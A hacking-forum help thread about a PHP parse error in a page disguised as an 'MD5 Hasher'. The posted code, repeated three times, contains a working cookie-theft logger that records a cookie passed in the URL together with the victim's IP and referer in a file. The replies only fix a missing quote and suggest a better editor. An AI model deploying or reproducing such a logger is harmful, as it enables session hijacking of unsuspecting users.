Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Image as a Link PROBLEM


ghost's Avatar
0 0
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>```

I'm trying to mage ziggyspage.jpg (the jpg file is uploaded on my site) as a link to my friends site. It just keeps giving me this error though: Parse error: parse error, unexpected T_STRING, expecting ',' or ';' in /home/www/tainted-sourcez.freehostia.com/index.php on line 45

I can't figure out whats wrong :@ HELP will be appreciated tremendously!

ghost's Avatar
0 0

Missing close quote

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>**";**
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>

[edit]Out of interest do you have line numbers on your editor. I suggest in future you go to the error line and check the problem


ghost's Avatar
0 0

Seems to work, but now I'm getting a broken image icon on the index.php page..also the Affiliates text doesn't show up.


ghost's Avatar
0 0

Thats because your image link is relative. Try an absolute link like "http://" or get the folder right


ghost's Avatar
0 0

mozzer wrote: Missing close quote

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>MD5 Hasher</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<p align="center">
<h1 align="center">MD5 Hasher</h1>
<p>What would you like MD5 hashed? </p>
<form name="form1" method="post" action="md5er.php">
<p>
<input type="text" name="unencrypted">
</p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
<p>
</body>
<body>
<!-- LINE 23 -->
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date = date ("F j, Y, g:i a",mktime(date("g")+7));
$referer = getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: <b>'.$cookie.'</b><br> IP: <b>'.$ip.'</b><br> Date and Time: <b>'.$date.' EST</b><br> Referer: <b>'.$referer.'</b><br><br><br>');
fclose($fp);
?>

<font color="white">
<!-- LINE 35 -->
<?php
echo "<center><a href=\"http://tainted-sourcez.freehostia.com/tools/cracker.php\">Cracker</a></center>";
echo "<br><br>";
echo "<p align=left><h1><u>Affiliates</u></h1></p>**";**
?>

<body>
<p>
You can also use an image as a link:
<a href="http://www.ziggyspage.com">
<img border="0" src="ziggyspage.jpg" width="65" height="38">
</a>
</p>

</body>
</body>
</html>

[edit]Out of interest do you have line numbers on your editor. I suggest in future you go to the error line and check the problem

I use notepad..only thing I have ( I had EVRSOFT but trashed it cuz I messed it all up in Olly XD ). But I had to count manually to tell which line was which, so I put HTML comments in there for faster reference.


ghost's Avatar
0 0

Get SciTE. That should mean that you can find lines easily.

I'd be screwed, when you get exceptions on like 6081 you wouldn't want to count


ghost's Avatar
0 0

Its a sad thing when someone else has to tell you where your images are :p


ghost's Avatar
0 0

Yeah, I fixed it after I posted about it. :happy:

Thanks for the help by the way.:D


ghost's Avatar
0 0

No problem, although in future please get a editor with numbers and check the lines before posting. The number of errors posted cause by missing ";", '"', and "} or {" is unreal


ghost's Avatar
0 0

How do I get an editor like that? Do you use one that you can link me to?


ghost's Avatar
0 0

Thanks, I'll go check it out. ;)


SySTeM's Avatar
-=[TheOutlaw]=-
20 0

mozzer wrote: The number of errors posted cause by missing ";", '"', and "} or {" is unreal

Amen to that :p


ghost's Avatar
0 0

Yay, not the only one wondering why it's always happening